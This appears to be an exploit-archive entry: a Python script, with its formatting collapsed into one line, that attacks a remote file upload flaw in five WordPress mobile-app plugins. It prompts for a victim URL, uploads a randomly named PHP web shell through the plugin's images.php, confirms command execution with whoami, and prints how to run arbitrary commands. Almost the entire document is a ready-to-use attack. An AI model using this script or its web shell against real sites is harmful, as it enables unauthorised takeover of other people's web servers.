WordPress Multiple Plugin File Upload

2017.03.21
Credit: Munir Njirun
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264

import requests import random import string print "---------------------------------------------------------------------" print "Multiple Wordpress Plugin - Remote File Upload Exploit\nDiscovery: Larry W. Cashdollar\nExploit Author: Munir Njiru\nCWE: 434\n\n1. Zen App Mobile Native <=3.0 (CVE-2017-6104)\n2. Wordpress Plugin webapp-builder v2.0 (CVE-2017-1002002)\n3. Wordpress Plugin wp2android-turn-wp-site-into-android-app v1.1.4 CVE-2017-1002003)\n4.Wordpress Plugin mobile-app-builder-by-wappress v1.05 CVE-2017-1002001)\n5. Wordpress Plugin mobile-friendly-app-builder-by-easytouch v3.0 (CVE-2017-1002000)\n\nReference URLs:\nhttp://www.vapidlabs.com/advisory.php?v=178\nhttp://www.vapidlabs.com/advisory.php?v=179\nhttp://www.vapidlabs.com/advisory.php?v=180\nhttp://www.vapidlabs.com/advisory.php?v=181\nhttp://www.vapidlabs.com/advisory.php?v=182" print "---------------------------------------------------------------------" victim = raw_input("Please Enter victim host e.g. http://example.com: ") plug_choice=raw_input ("\n Please choose a number representing the plugin to attack: \n1. Zen App Mobile Native <=3.0\n2. Wordpress Plugin webapp-builder v2.0\n3. Wordpress Plugin wp2android-turn-wp-site-into-android-app v1.1.4\n4.Wordpress Plugin mobile-app-builder-by-wappress v1.05\n5. Wordpress Plugin mobile-friendly-app-builder-by-easytouch v3.0\n") if plug_choice=="1": plugin="zen-mobile-app-native" elif plug_choice=="2": plugin="webapp-builder" elif plug_choice=="3": plugin="wp2android-turn-wp-site-into-android-app" elif plug_choice=="4": plugin="mobile-app-builder-by-wappress" elif plug_choice=="5": plugin="mobile-friendly-app-builder-by-easytouch" else: print "Invalid Plugin choice, I will now exit" quit() slug = "/wp-content/plugins/"+plugin+"/server/images.php" target=victim+slug def definShell(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) shellName= definShell()+".php" def checkExistence(): litmusTest = requests.get(target) litmusState = litmusTest.status_code if litmusState == 200: print "\nTesting if vulnerable script is available\nI can reach the target & it seems vulnerable, I will attempt the exploit\nRunning exploit..." exploit() else: print "Target has a funny code & might not be vulnerable, I will now exit\n" quit() def exploit(): print "\nGenerating Payload: "+shellName+"\n" myShell = {'file': (shellName, '<?php echo system($_GET[\'alien\']); ?>')} shellEmUp = requests.post(target, files=myShell) respShell = shellEmUp.text cleanURL = respShell.replace("http://example.com/",victim+"/wp-content/plugins/"+plugin+"/") shellLoc = cleanURL.replace(" ", "") print "Confirming shell upload by printing current user\n" shellTest=requests.get(shellLoc+"?alien=whoami") webserverUser=shellTest.text if webserverUser == "": print "I can't run the command can you try manually on the browser: \n"+shellLoc+"?alien=whoami" quit() else: print "The current webserver user is: "+webserverUser+"\n" print "Shell Can be controlled from the browser by running :\n"+shellLoc+"?alien=command" quit() if __name__ == "__main__": checkExistence()


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